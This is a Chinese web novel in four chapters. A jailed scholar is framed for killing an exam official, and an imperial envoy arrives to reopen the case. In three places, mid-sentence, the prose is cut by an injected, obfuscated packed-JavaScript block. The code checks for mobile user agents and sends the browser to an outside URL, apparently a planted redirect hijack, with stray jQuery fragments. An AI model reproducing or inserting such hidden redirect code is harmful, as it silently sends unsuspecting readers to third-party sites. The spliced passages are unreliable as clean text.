《宠臣为何造反?》 1. 入狱 李宗舫死了。 作为朝廷亲派的主考官,他死得可谓极不体面,被人一刀割了喉,血溅三尺,连句遗言都没留下。这消息就像长了翅膀,还没等尸体凉透,就已经传遍了临安城的街头巷陌。 引起大家广泛讨论的,却是那个被当作杀人凶手入狱的倒霉蛋,展毓。 木秀于林,风必摧之。人若太邪性,不算是好事。展毓的爹不过是个七品县令,在举人多如牛毛、宗族势力盘根错节的临安,这等门第简直不值一提。 在这么个拼爹又拼命的地方,展毓偏不走寻常路,圣贤书不读,成日里只跟三教九流厮混。 临安府大牢里,阴冷潮湿。 两个狱卒一边剥着花生,一边压低了声音嚼舌根。狱卒老张啐了一口唾沫,往最里面那间牢房瞟:“前儿个还在贡院门口撒泼,说周家少爷科场舞弊,现在自己倒先进来蹲着了。” 年轻些的狱卒小李凑过去:“叔,这人真是凶手?你说他图啥啊?他爹好歹也是县太爷,犯得着杀钦差?” “你懂个屁。”老张瞪了他一眼,“县令算个鸟?在这地界,天是皇上的,地可是周家的。周蕴涛是什么人?大都督的亲侄子!那小子敢当众揭周家的短,不是嫌命长吗?” “你的意思是……”小李倒吸一口凉气,“他是被……” “我可没说。”老张抓起几颗花生米塞进嘴里,含糊不清地嘟囔,“这人也是个怪胎,都被关进这种地方了,要是换了别人早被吓破胆了,你瞧瞧他。” 顺着两人的视线望去,牢房的最深处,狭窄高窗透进一缕惨白的月光,偏偏不偏不倚地落在了展毓身上。 这人生了一副极具侵略性的好皮相,眉是浓的,斜斜飞入鬓角,却又配着一双秋水横波似的桃花眼,秾丽逼人。此刻身陷囹圄,艳色被周遭勉强压下几分,反倒逼出了一股冷意。 展毓盘腿坐在一块发霉的草席上,面无表情地啃着手里干硬的冷馒头。 士人大多都爱给自己贴上清正廉洁,诸如此类的标签,但是这类人大概并不包括展毓的爹展钧,这位展大人可是真的一身清廉、两袖清风。 展家再落魄,也不至于让孩子饿着,一个县令的孩子应当没受过什么苦,展毓却好像对周遭的一切没有什么感觉似的,也不觉得自己屈尊了,吃得还挺香。 夜渐深,牢房之中有稀稀疏疏的脚步声,本在闭目养神的展毓蓦地睁眼,眸中一片清明。 狱卒老张和小李赶紧扔下花生,连滚带爬地迎上前去,点头哈腰:“周少爷,您怎么来了?” 展毓慢慢抬起头,逆光处,一个锦衣华服的男人立在牢门前,屏退了狱卒,居高临下地睨着他。 秋风已经微凉,展毓穿得实在单薄,风一过,在皮肤上吹起了一层鸡皮疙瘩,他忍不住瑟缩了一下。 周蕴涛生得浓眉大眼,不似他爹这般“身宽体阔”,此刻那双浓眉抖了一下:“展毓,你也有今天。” 展毓未动分毫,只撩了撩眼皮,唇角勾起一抹恰到好处的笑,恍若老友重逢:“周兄好雅兴,长夜漫漫,不去喝花酒,跑到这种地方来探望在下,展某真是受宠若惊。” “少在这逞口舌之快!”周蕴涛脸上的笑容一僵,“这次就算是天王老子来了也救不了你!” 展毓起身踱步至铁栅前,两人之间不过一指宽的缝隙,他竟认认真真地端详起周蕴涛来。那双眼睛生得实在漂亮,瞳仁却极黑,眼波流转之间,便似有钩子,能把人的魂儿都勾了去。 周蕴涛被他这般盯着,只觉心头没来由地一阵狂跳,浑身汗毛倒竖,下意识地咽了口唾沫,色厉内荏地吼道:“看什么看!你今日便是脱光了跪下来求我,也休想本少爷开恩!” “我在看,”展毓唇角的笑意骤然消失,冷若冰霜,“周延玺那么聪明的老狐狸,怎么会有你这么蠢的侄子。” “你找死!” 周蕴涛眼底的戏谑瞬间被暴怒取代,怒火中烧,把手从铁栅栏缝隙里伸进去,掐住展毓的脖子,恶狠狠道:“他周延玺算什么东西,要不是我爹,他就是一个废物。” 展毓踉跄撞在铁栏上,喉管被压迫着,说不出话来,脸都憋红了,长睫轻颤,眼角似有泪光,看着实在可怜,可那双黑沉沉的眼里哪有半点惧色。 周蕴涛如梦初醒般回过神来,下意识地后退了半步:“明日大堂过审,我看你还能不能笑得出来!” 待人走远,展毓扶着铁栏咳嗽,他摸了摸被周蕴涛掐过的地方,不耐地将领口扯开了些,这才从方才的不适之中缓解过来,顾不上恶心,心中的想法越发分明。 周蕴涛是个蠢货不假,但不是个疯子。 真凶要是他爹周延寿,他这会儿早就夹起尾巴连夜找菩萨烧高香了,哪还有闲情逸致半夜跑到大牢里来玩这种痛打落水狗的戏码? 周蕴涛走后,展毓重新坐回草垫上,捡起刚才没啃完的半个干馒头,在手里抛了抛。 这无妄之灾,还得从乡试前几天说起。 乡试开考前,周蕴涛这草包不知道哪根筋搭错了,竟然在诗会上派人来偷他写的诗稿。 展毓一开始还挺纳闷,心想周蕴涛终于开窍了,知道剽窃他展某的大作去考场上充门面了,他甚至还因为对方这难得的上进心而感到欣慰。 直到他把那个笨手笨脚的偷稿贼审了一遍,才弄明白这位周少爷的绝妙计策。 科举考试历来糊名,考官批卷时看不到考生的名字,周蕴涛想让展毓落榜,就得让被收买的考官认出展毓的卷子。怎么认?自然是认笔迹。那几篇废稿,就是周蕴涛拿去给考官按图索骥的通缉令。 只要考官在卷子里认出展毓的字,不管他写的是什么锦绣文章统统直接黜落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454162|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然人家把网都织好了,岂有不跳之理?是以在考场上,展毓洋洋洒洒地写了一堆狗屁不通的废话,通篇都是胡言乱语。哪用得着考官费劲去比对笔迹,单凭那满纸荒唐言,他也定然名落孙山。 果不其然。 落榜好啊,不落榜,哪来的由头去闹事? 这下展毓可来劲了,他最喜欢看这种搬起石头砸自己脚的戏码,当即纠集了一帮同样不满的落榜学子去贡院门口闹事。事情闹得沸沸扬扬,终于逼得主考官李宗舫不得不见了他一面。 李宗舫年不过五十出头,却已早生华发。这倒不是熬资历熬出来的,纯粹是因为他四十岁才中进士入翰林,后攀上了周延玺的高枝去了礼部任职。 李宗舫是个聪明人,聪明人容易思虑过重。周延玺和周延寿这对兄弟,一个在朝为官,一个经商,表面兄友弟恭,实则早生嫌隙。 周延寿想让周蕴涛当官,京里那位不一定会同意,李宗舫夹在缝里,帮二房是打大房的脸,不帮二房又要结下死仇,怎么走都是一盘死局。如今周蕴涛榜上有名,李宗舫更是如坐针毡。 皇上刻意派周延玺的心腹来监考,只怕早就掐准了周家二房那个眼高于顶的弟弟,定会为了儿子生事。周家这块肥肉,皇上不仅想吞,还想连骨头一块儿嚼碎了咽下去。 展毓本意是想吓唬吓唬这位老翰林,看看能不能逼李宗舫吐点东西出来。谁知道这老头运气这么差,竟然直接被人割了喉,而作为生前最后一个见过李宗舫的人,展毓顺理成章地成了最完美的替罪羊。 展毓就着牢房里的冷风,把最后一口馒头咽了下去。 在临安地界,敢在周家这条地头蛇的眼皮子底下做掉朝廷钦差的,数来数去,恐怕也就那么两位。 “兄弟反目,骨肉相残……”展毓低声呢喃,眸中笑意尽敛。 牢房通道尽头又传来一阵脚步声,杂乱而急促,火光瞬间将阴暗的牢房照得亮如白昼。 临安知府张奎升顶着一脑门虚汗,在衙役的簇拥下疾步逼近。 “展毓!”张知府端起父母官的官威,厉声喝道,“李宗舫遇害一案,本官已然查明!你因落榜心生怨怼,蓄意谋杀朝廷命官。现人证物证俱在,还不速速画押认罪,也免受那皮肉之苦!” 语毕,牢头十分有眼色地把一张罪状连同印泥隔着栅栏递了进来。 展毓凑近扫了一眼那供词,竟扑哧一声笑了出来。 他嫌弃地直摇头:“张大人,你们衙门师爷的水平也太次了,什么叫因妒生恨,持刀夜入?作案动机这么单薄?起承转合全无,细节呢?曲折呢?我一介文弱书生,杀人时那种百转千回的内心挣扎呢?” 张知府被他这副泼皮无赖的架势气得差点背过气去,一拍栅栏:“死到临头还敢大言不惭!来人,开门,大刑伺候!” “慢着——” 2. 风起 千里之外,京城的秋意远比临安要浓些。 瑟瑟秋风穿过殿前的石阶,几片枯叶被卷向高处,复又坠地,在这重重红墙围锁的深宫里,风似乎都得屏息凝神。 一本奏折被不轻不重地掷在御案上,帝王微微倾身,长年的征战淬炼出极度凌厉的面容,哪怕只是漫不经心的一瞥都像是刀子刮过去。 “临安这地方还真是人杰地灵,一个小小沽阳县令的儿子,竟然有胆子纠集一帮落榜生员把贡院的大门给堵了。” 帝王震怒,殿内鸦雀无声,太子恭立在下首,斟酌着开口:“江南学风向来鼎盛,学子们心高气傲,遇上落榜心生怨怼也是常有。臣依稀记得,展毓之父展钧也是个不知变通的直肠子,此事究竟是少年人意气用事,还是有人在背后推波助澜,借机剑指周家,还未可知。” “好一个剑指周家!”皇帝的声音骤然转冷,“北境边防频频告急,朕要扩军,他们就在朝堂上跟朕哭穷。江南的税收一半进了国库,另一半,全都流进了他周延玺的私库!” 太子敏锐地捕捉到凛冽的杀机,顺水推舟道:“父皇高瞻远瞩,特让李宗舫南下主考,周延寿必定按捺不住,借机生事。” 帝王冷哼一声:“倒是要感谢这个展毓,给朕搅成一锅粥了,现在火候也差不多了,派刑部的王侍郎去趟临安。” “臣以为不妥。” 皇帝原本还在气头上,闻言眸光骤然一沉:“有何不妥?你是觉得他压不住周家?” 太子迎着帝王锐利的目光,从容答道:“王大人固然雷厉风行,科举舞弊乃是动摇国本的大案,牵涉无数学子。若一味只顾着料理周家,只怕会落人口实,让天下人以为朝廷不问公理,一旦激起民愤,反而得不偿失。” 临安皆是周家党羽,寻常京官去了无异于羊入虎口,或同流合污,或死于非命。皇帝逼问:“你觉得,派谁去才压得住这帮地头蛇,又不会落人口实?” “臣以为,江起元为人端方,胸有丘壑,且素不结党,由他去主理此案,最能服众。”太子不慌不忙地抛出了自己的人选,显然是有备而来。 大殿内死寂无声。 半晌,皇帝方才面上的凌厉之色瞬间褪去,露出了疲态。 “让江起元去吧,这事交给你去办,让他兼个刑部的职即刻动身。”皇帝长叹一声,颓然靠向椅背,顷刻间苍老了十岁,“去吧,等国库充盈了,料理掉北方的蛮子,朕也能放心把天下交到你手里了。” 当今圣上龙体康健,正当有为,太子也不过二十又二,素有贤名,早早开始理政,父子关系更是难得的佳话。 殿外忽起一阵急风,穿堂而过,御案上的烛火摇摇晃晃,几欲熄灭。 太子屈膝叩首,声音发紧:“父皇春秋鼎盛……” 皇帝没有立刻叫太子起来,只是幽幽俯视着他:“我最近老是做梦,梦见你幼时,才那么丁点大,连路都走不稳,却偏要自己跑,调皮得很。”他似乎想到了什么极不愉快的事,眉头皱紧,生硬地转移了话题,“你娘身子可好些了?” 太子眼神微黯:“回父皇,母亲仍在静养。” 皇帝没有再问,只是疲惫地朝他摆了摆手。 又过了一会,太子才退出御书房。 “殿下。”侍卫悄无声息地迎上前来,压低声音,递上一封没有署名的密信。 信纸的末尾,用极小的朱笔写着一个名字──展毓。 太子的视线仅仅在那两个字上停留了一瞬:“去东宫。” 东宫后园,江起元独坐凉亭。他左手执白,右手执黑,虽是自己与自己对弈,眉头却蹙得很紧。 一刻钟后,庭外传来侍卫的声音,说是太子来了。 江起元年纪和李大人差不多,看起来却比李宗舫年轻许多。他在前朝时就考中进士,也是前朝最后一个状元,因看不惯阉党之风,急流勇退,辞官回乡去了。 “带月荷锄归”的闲散日子没过几年,又被请出了山。圣上昔年割据梁州时,慕其贤名,三顾茅庐请他为世子开蒙。待天下大定,本欲拜其为太子太傅,江起元却只肯领个太子洗马的闲差,只为人师,不问朝政。绕是如此,京中也没人真不把他当太傅。 江起元见太子气息有些不稳,便知道他是一路疾行而来。 “殿下,你迟到了。” 两人名义上是君臣和师生,江起元却是看着太子长大的,私下见面没有那么多繁杂的礼节,太子坐下来后渐渐调匀了呼吸,面上带着几分怅然:“方才去给母亲请安,故而耽搁了。” 太子继承了帝王的深邃骨相,尤其是那双不怒自威的眼睛,平日里只需一眼便能让群臣战战兢兢。现在这般焦急倒是显出一点在师长面前的孩子气,让人恍然记起,他不只是储君,也是个忧心母亲的孩子。 江起元把黑棋递给太子,沉吟片刻道:“皇后娘娘身体如何?” 太子拈起一子,视线落在棋盘上,不过须臾,便已看透死局:“母亲自去岁病倒,日渐清减,老师,她这般强撑着……” “殿下。” 江起元出声喝止。棋盘之上,白子已成合围之势,黑子被蚕食殆尽。任凭太子棋艺再高,也已是无力回天。 江起元淡声道:“在其位,谋其政。世间万物本就没有绝对的公允。譬如这局棋,臣执白在前,殿下此刻接手黑子,注定是败局。” 太子握紧了手中的黑子:“是我心急了。” 几只不知从哪飞来的鸟雀突然扑腾着翅膀落在了石桌上,原来是江起元在旁边放了一碟瓜子。雀儿们为了抢食,张牙舞爪地一阵乱扑腾,竟将棋盘上的棋子搅得乱七八糟。方才还死气沉沉的黑子,竟奇迹般地生出了一线生机。 “殿下且看,”江起元抬袖拂去棋盘上的碎屑,“破局之法,往往不在棋盘之内。臣这便下江南,去会会这只掀翻棋盘的雀儿。” 星夜驰骋,快马加鞭。然而,待江起元风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454163|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘仆仆地到达临安时,那桩由学子闹事掀起的科举舞弊案,竟已滚雪球般,演变成了一桩朝廷命官横死的命案。 衙役手忙脚乱地拿出钥匙准备开门,一道低沉的声音从知府身后的阴影中传来。 “大人这案子,审得未免也太心急了些。” 众人皆是一惊,纷纷回头。只见一中年男子着一身便服,却难掩清正威仪。他目光如炬,视线越过张知府,直直地看向展毓。 “趁着我还没正式接管,就想把这科举舞弊和杀人灭口的两桩大案,凭一张错字连篇的供状草草结了?” “哎哟!”张知府双眼一亮,如见救星,喜出望外道,“钦差大人!您总算到了。” 江起元没有理会他,径直走到牢房的铁栅栏前。借着昏暗的火光,他终于看清了那个坐在草垫上的嫌犯,瞳孔骤缩。 “你就是展毓?”江起元盯着他,厉声发问,“你不仅毫无悔意,反倒在此大放厥词,可是觉得大齐的律法治不了你?” 展毓慢悠悠地站起身,隔着栅栏冲江起元眨了眨眼睛,毫无正形地笑道:“见过青天大老爷,学生的底气不就是大人您吗?您这一身浩然正气,一看就是专程来给学生洗刷冤屈的。” 那股子没皮没脸的混账劲儿,简直浑然天成。江起元眼底的惊涛骇浪瞬间被这股无赖气压下去大半,他不知想到了什么,竟短促地笑了一声。 “牙尖嘴利,巧言令色。”江起元评价道,目光却不再像刚才那般严厉,“你这喜欢惹是生非的性子,倒是和我的一个学生极其相似。” 一旁的张知府正愁不知道怎么接这位钦差大人的话,听见这话,为了缓和气氛,凑上前去满脸堆笑地拍起了马屁:“想不到江大人门下还有如此……这般……活泼的学生,不知是京中哪位公子啊?” 江起元转过头,轻飘飘地瞥了张知府一眼,淡淡地说出了两个字: “太子。” “……” 张知府双眼一翻,差点当场晕过去。 满朝文武谁人不知,太子殿下端方雅正、老成持重。把堂堂储君和一个在地牢里满嘴胡言乱语的嫌犯相提并论,这要是传到京城,十个脑袋都不够砍的啊! 江大人莫不是疯了吧! “明日一早提犯人去大堂。”江起元敛容。 张知府如蒙大赦:“下官这就去办,江大人日夜兼程,恐怕累坏了,先去休息吧。” 在江起元路过时,展毓非但没有阶下囚的自觉,反而笑嘻嘻地套近乎:“钦差大人,既然你说晚生像你的学生,那学生这待遇能不能稍微往上提提?” 他微微撇了撇嘴,尾音黏糊糊地拖长,透着一股子委屈:“牢里的干馒头实在是太硌牙了……” 活脱脱一个在外面挨了打、正拽着自家大人衣袖撒娇讨巧的小辈。 话音刚落,展毓自己先被这语气激出了一身鸡皮疙瘩。见鬼了,他跟这人非亲非故的,抽什么风在这发嗲。 3. 孽缘 江起元不坐主位,反而退到一旁的高背椅上慢条斯理地喝着茶,一言不发。他这尊大佛往旁边一杵,却苦了坐在高堂之上的临安知府张奎升。 张奎升只觉得如芒在背,额头的冷汗是一层接着一层。他硬着头皮举起惊堂木,重重拍在案上:“带嫌犯。” 伴随着衙役们拖长音的“威——武——”,展毓被带上了公堂。 刚一站定,展毓就看见了堂外站着的徐仲麟,那人穿着一身洗得发白的青衫,脊背却挺得很直。 展毓眸光微闪,颇感意外。徐仲麟其人,在临安学子里可谓鼎鼎大名,才高八斗却性情孤傲、不善交际。展毓曾多次想与之结交,都苦于这人油盐不进,没想到他今日竟会主动蹚这趟浑水。 张奎升身边的一名师爷俯下身,在他耳边低声耳语了几句。 “大胆!”张奎升闻言,偷偷瞟了一眼眼皮都没抬的江起元,细长的眼睛一瞪,“不肯来?就是绑,也得给我绑过来!” 那师爷吓了一跳,赶紧带着一帮衙役灰溜溜地领命去了。 “徐仲麟,你把你方才在庭外说的事情,在这大堂之上,当着钦差大人的面原原本本地再说一遍!” 徐仲麟上前一步:“乡试开考前几日,学生曾亲眼看见周蕴涛的书童在诗会后偷偷拿走展毓的诗稿。后来学生一路跟踪那书童,看见他与周蕴涛在暗巷中窃窃私语。学生心生怀疑,为了拿回诗稿,便故意上前绊倒了周蕴涛,并与他发生争执。此事,有当时在场的围观学子为证!” 说罢,徐仲麟转头,笃定地看向身旁几个刚被强行传唤来的考生。 张奎升狭长的眼睛眯成了一条缝:“徐仲麟所言,是不是真的?” 那几个学生对视了一眼,顿时噤若寒蝉,齐刷刷地低下头,颤声道:“回大人……学生当时离得远,未曾见过什么争吵,更不知偷稿一事。” 徐仲麟不敢置信地看着他们。 这些人中,有不少是当日和展毓一起去贡院门口声讨舞弊的学子,愿意凑热闹是一回事,真要把自己推上风口浪尖得罪周家,却是另一回事。 徐仲麟为人太刚直,以为天下读书人皆有三分傲骨,却不知这世道多的是趋炎附势之徒,结果把自己也搭了进来。 展毓心想:“徐仲麟跟他爹倒是不一样。” 见众学子翻供,张奎升立刻来了底气,一拍惊堂木:“徐仲麟!公堂之上岂容你胡编乱造、攀咬无辜!你若是再敢有半句虚言,本官拿你是问。” 展毓不紧不慢道:“张大人,学生倒有个疑问,大人说我因落榜心生怨恨,谋杀了钦差李大人。可我去找李大人,起因是周蕴涛舞弊在先。既然要把这事审个水落石出,为何此时公堂之上,却不见周蕴涛?莫非周大公子仗着家大业大,胆敢无视大人的传唤?” 见张奎升的脸更黑了,展毓赶紧乘胜追击:“若是凭这种掐头去尾的牵强理由也能定罪,那我倒要怀疑是周蕴涛眼见贿赂考官、科场舞弊一事败露,为了斩草除根,才痛下杀手,杀人灭口。” 此言一出,满堂皆惊。他们没想到展毓居然敢直接把科举舞弊和钦差被杀两桩惊天大案绑在一起,还顺手把脏水全泼回了周家头上。 张奎升下意识地看了一眼旁边优哉游哉喝茶的江起元,不知该如何接茬。 就在这尴尬的当口,堂外传来一阵喧哗。 周蕴涛大摇大摆地走了进来。说是传唤,可根本没有衙役敢真押着他,他就这么光明正大地走上了公堂。 周蕴涛刚进门就听到展毓的话,怒极反笑,嚣张地看着徐仲麟和展毓:“舞弊?就凭你展毓没考中,就敢满大街泼脏水说本少爷舞弊?” 他几步走到展毓面前,上上下下打量了一番,阴阳怪气地嘲讽:“你展公子学富五车,才高八斗,人人都该仰慕你,合着其他人中举就都是不学无术了?” 展毓嫌弃地往左边挪了一步:“在下不才,确实没资格评判考官。好巧不巧,在下这里还留着周公子当年酒后吐真言的墨宝,周公子要是觉得自己真有那状元之才,在下现在就可以给各位大人当庭朗诵一段。” 一听到“墨宝”两个字,周蕴涛仿佛被踩了尾巴,破口大骂:“你个无耻之徒!” 展毓清了清嗓子,抑扬顿挫地念出了周蕴涛当年作的那首狗屁不通的打油诗。 “西湖水暖春意高,本少榻上乐逍遥。 剥了绸裤掏长枪,白玉大腿任我挑。 颠鸾倒凤干一场,管教美人声声娇。” 粗鄙不堪、连平仄都不通的淫词艳曲一出,堂外围观的百姓和几个没憋住的衙役哄笑起来。 张奎升憋得满脸通红,就连一直面无表情的江起元,嘴角也抽搐了两下。周蕴涛气得浑身发抖,双眼赤红,恨不得当场把展毓的皮扒了。 展毓和周蕴涛的这段孽缘,可谓由来已久。展毓少时虽寡言少语,却是个炮仗性子,一点就着。展夫人怕他憋出病来,便趁着新春佳节,硬拉着他去临安城看花灯散心。 江南水乡,火树银花。临安人善于经商,春节时的玄武大街更是热闹非凡,红灯笼映红了半边天。展毓本就是个半大的少年,生得唇红齿白,又穿了件嫩黄色的棉袄,雌雄莫辨的模样格外惹眼。 他本就不耐烦喧闹,趁着父母排队买糕点,偷偷溜到了水边。这条河横贯临安城,在城中蜿蜒前进,每条河道都映得绯红,如流火。 偏偏在这时,周蕴涛带着几个狐朋狗友凑了上来。这群不长眼的东西以为他是个落单的小姑娘,嬉皮笑脸地就要上手摸他的脸。 展毓当时心里正窝着火,正愁一肚子邪火没处撒,见这些登徒子凑过来,二话不说,一脚就把走在最前面的周蕴涛踹进了河里。 岸边顿时乱作一团,等展夫人把儿子找回去时,周蕴涛已经在水里对这个“长得漂亮脾气又暴躁的姑娘”一见钟情了。 他派人去查展毓,可惜手下人不靠谱,在性别这一关键信息上出了严重的偏差。整整六年,周蕴涛都以为自己魂牵梦萦的“白月光”是展县令家的千金。 直到周蕴涛及冠那年,他从花楼的大床上醒来,忽然惊觉自己也该成家了,于是敲锣打鼓地带着聘礼直奔沽阳县展府提亲。 一个县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454164|201202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令的女儿能嫁进周家,本该是祖坟冒青烟的好事。可当他站在县衙门口,大言不惭地要娶人家女儿时,围观百姓看他的眼神却像是看变态。 直到展毓他爹展钧铁青着脸把他骂了个狗血淋头,大门重重一关,周蕴涛才搞明白一个事情:展家确实有个女儿,但今年才七岁,而他惦记了多年的白月光,其实是个长得比他还高的男人。 受此奇耻大辱,正常人早就避之不及了。可偏偏周蕴涛消沉了一阵后不知道哪根筋搭错了位,竟突然顿悟了“其实男人也不是不行”的旷世奇理,又开始死皮赖脸地跑来纠缠展毓。 当时恰逢周蕴涛的一个远房叔叔为了霸占新化乡几十亩良田,恶意掘断水渠,导致庄稼枯死,上百农户跪在县衙门口喊冤。周蕴涛为了逼展毓就范,竟和那叔叔合谋把展毓给绑架了。 被绑之后,展毓非但没有破口大骂,反而态度一百八十度大转弯,对着周蕴涛和颜悦色起来。周蕴涛大喜过望,还以为自己精诚所至金石为开,小辣椒终于肯做他的解语花了。 一日,展毓在院中独酌。周蕴涛见状,顿觉有几分金屋藏娇的情趣,欣然入座。展毓眉眼含情,不仅亲自为他斟酒,还温声细语地捧着他,夸他满腹珠玑。几杯迷魂汤灌下去,周蕴涛早飘到了云端里,竟诗性大发,摇头晃脑地作了几首狗屁不通的打油诗。 展毓眼神真挚又妥帖,亲自执笔替他记下,并让他在落款处签上大名。周蕴涛被美色迷了眼,看都没看就签了字。 他哪里知道,展毓让他签字的根本不是什么诗稿,分明是周家抢占那几十亩田的转让契。 如果事情只到这里,周蕴涛顶多生生闷气也就罢了,但是展毓做了一件挺缺德的事。 就在周蕴涛猴急地准备霸王硬上弓的时候,展毓原本柔弱无骨的读书人的手却突然按住周蕴涛,从背后掏出一根绳子,把只穿了底裤的周蕴涛就这么捆在了桌上。 周蕴涛酒醒了一大半,冻得直打哆嗦,看着展毓似笑非笑的眼神,连救命都不敢喊。 展毓得意洋洋地拍了拍手:“你做纨绔的水平也不怎么样嘛。” 周蕴涛不仅颜面尽失,回家后还被亲爹打得半个月下不了床。从此之后,他对展毓的爱慕,彻底扭曲成了恨意。 爱或许会消失,恨通常比爱要持久得多。比如现在,展毓在公堂上当众抖出他的老底,周蕴涛眼珠子都快瞪出来了。 “砰!” 惊堂木再次重重拍下,打断了周蕴涛即将脱口而出的污言秽语。 “张大人,审案最忌讳的便是先入为主。” 一直坐在旁边喝茶的江起元终于放下了手中的茶盏,他缓缓站起身:“这几位考生么,倒是瞧着都颇有才气,我知道张大人破案心切,可别寒了这帮学生的心,说不定这里面以后会有我大齐的肱骨之才啊。” 张奎升如蒙大赦,赶紧顺着台阶自己爬了下去:“大人教训得是!依大人之见,这案子该从何审起?” 江起元负手踱步到堂中央:“案子要一件一件审,人命关天,李大人是朝廷重臣,不能让他不明不白死在临安。” 4. 交锋 “李大人遇害的地方是在贡院……”张奎升一边说,一边用余光瞟江起元,见钦差大人连眉毛都没抬一下,才继续道,“夜里下人去给李大人送夜宵,才发现大人已经断气了,仵作验过,是一刀割喉,伤口极深,室内陈设齐整,没有打斗的痕迹,门窗也都完好无损。” 江起元抬起眼皮:“如此说来,凶手是趁李大人不备,一击毙命。” “大人明鉴!”张奎升立刻接话,“所以下官断定,定是那展毓所为!那日唯有他带头聚众闹事,扰乱纲纪不说,后来又被李大人单独叫进了书房,除了他,还有谁能近得了李大人的身?” 展毓站在堂下,冷眼看着张奎升。张奎升这套说辞连头尾都顾不上,图的就是个“快”字。只要他一低头认了罪,这桩钦差被杀的大案就能神不知鬼不觉地结了,张知府头上那顶乌纱帽也就算保住了。 “张大人,您断案全靠臆想啊?”展毓嘴角轻轻一扯,“我若是真动了杀心,为何要在大庭广众之下带头闹事,怕别人不知道我要去找李大人寻仇?再者,一刀杀死一个成年男子,还不能让他发出声音,这得是多高的武功造诣,我要是有这等身手……” 展毓眼睛微微眯起,冷飕飕地飘向一旁:“周少爷早就横尸街头了,哪还能全头全尾地站在这儿听审?” “大堂之上你还敢口出狂言!”突然被点名的周蕴涛只觉得脖颈一凉,连退两步。 咬人的狗不叫,展毓连半个正眼都没再赏给他。 江起元冷不丁看向张奎升:“尸身现停放何处?” “这……”张奎升擦了把汗,如实禀告,“案情重大,加上这几日秋风虽凉,正午仍有余热,下官已命人将其妥善安置在驿站的正厅,只等着李大人的家人来带其回乡了。” 江起元略一思索,沉声道:“今日先审到这里,备马,去驿站。” 张奎升慌不迭地从案后绕出来,弓着身子在前面引路。江起元走出两步,忽又顿住脚步,回过头扫了一眼堂下众人。 “既然案情未明,尔等皆是嫌犯,到底都是读书人,就不必再带回地牢里去沾染晦气了。”江起元吩咐张奎升,“张知府,在县衙里腾出几间干净的厢房,好生看管,顺便让灶房做点热乎的饭菜送去,免得落人口实,说本官苛待士子。” “下官遵命,下官这就去办!”张奎升连连应声,赶紧招呼两旁的衙役拿人。 再礼贤下士,也不至于让嫌犯住进府衙的厢房。众人只当江起元初来乍到,还要给周家留几分薄面,这才让周蕴涛免了牢狱之苦,展毓不过是跟着沾光罢了。 从公堂押解至后院厢房的路上,展毓眼珠子骨碌碌转了一圈,一肚子坏水又开始翻腾。 押解的衙役被江起元方才那番话提点过,自然不敢对他们动粗。大齐开国没多久,读书人金贵,这些生员哪怕现在是阶下囚,指不定哪天谁就金榜题名了,官差犯不上为了这点差事平白得罪人。 “这位大哥,”展毓不动声色地凑近衙役,朝他笑了笑,那叫一个亲切,“钦差大人方才只说看管,没说必须分开关押吧?” 衙役板着脸,不为所动。 展毓见他不搭腔,也不气馁,继续循循善诱:“可否烦请大哥通融一二,把我和那个书呆子关在一处?” 衙役面露难色:“展公子,你就别难为在下了。” 展毓眉头一蹙,忧心忡忡道:“大哥有所不知,我这同窗从小读圣贤书读傻了,脸皮薄,心思又重,方才在大堂上遭了这等羞辱,受了莫大的刺激,你若让他一个人待着,万一一会儿他想不开,在房里解下腰带悬梁自尽了,钦差大人若是问责下来,这逼死士子的罪名,您担待得起?” 衙役闻言心里一突,下意识转头,恰好看到徐仲麟正面无表情地死盯着院里的一棵歪脖子树。那直勾勾的眼神,怎么看都透着一股生无可恋的决绝。 穷酸秀才最爱寻死觅活以证清白了! 他赶紧掏出腰间的钥匙,手脚麻利地打开了一间稍大的厢房,像赶鸭子似的把展毓和徐仲麟一块儿塞了进去。 两人刚一进屋,门外便传来落锁声。 展毓揉了揉被勒得有些红肿的手腕,回头冲徐仲麟一笑:“开个玩笑,徐兄方才盯着那树做什么?” 徐仲麟掀起长袍下摆,在桌前坐下,不知从哪摸出一卷书,头也不抬,冷冷答道:“背书。” 展毓:“……” 展毓哑然。这都什么时候了,搞不好就要掉脑袋了,这人居然还在掉书袋。 厢房内布置虽然简陋,比那发霉长毛的牢房不知好了多少倍。没过多久,衙役便送来了热腾腾的饭菜。 展毓也不客气,风卷残云般吃饱喝足后,方才正色道:“徐兄,今日多谢你仗义执言。” 徐仲麟慢条斯理地翻过一页书:“你不必谢我,我并非为了帮你,是周蕴涛窃取你诗稿在先,我既亲眼所见,便不能坐视不理,这是理,与你无关。” 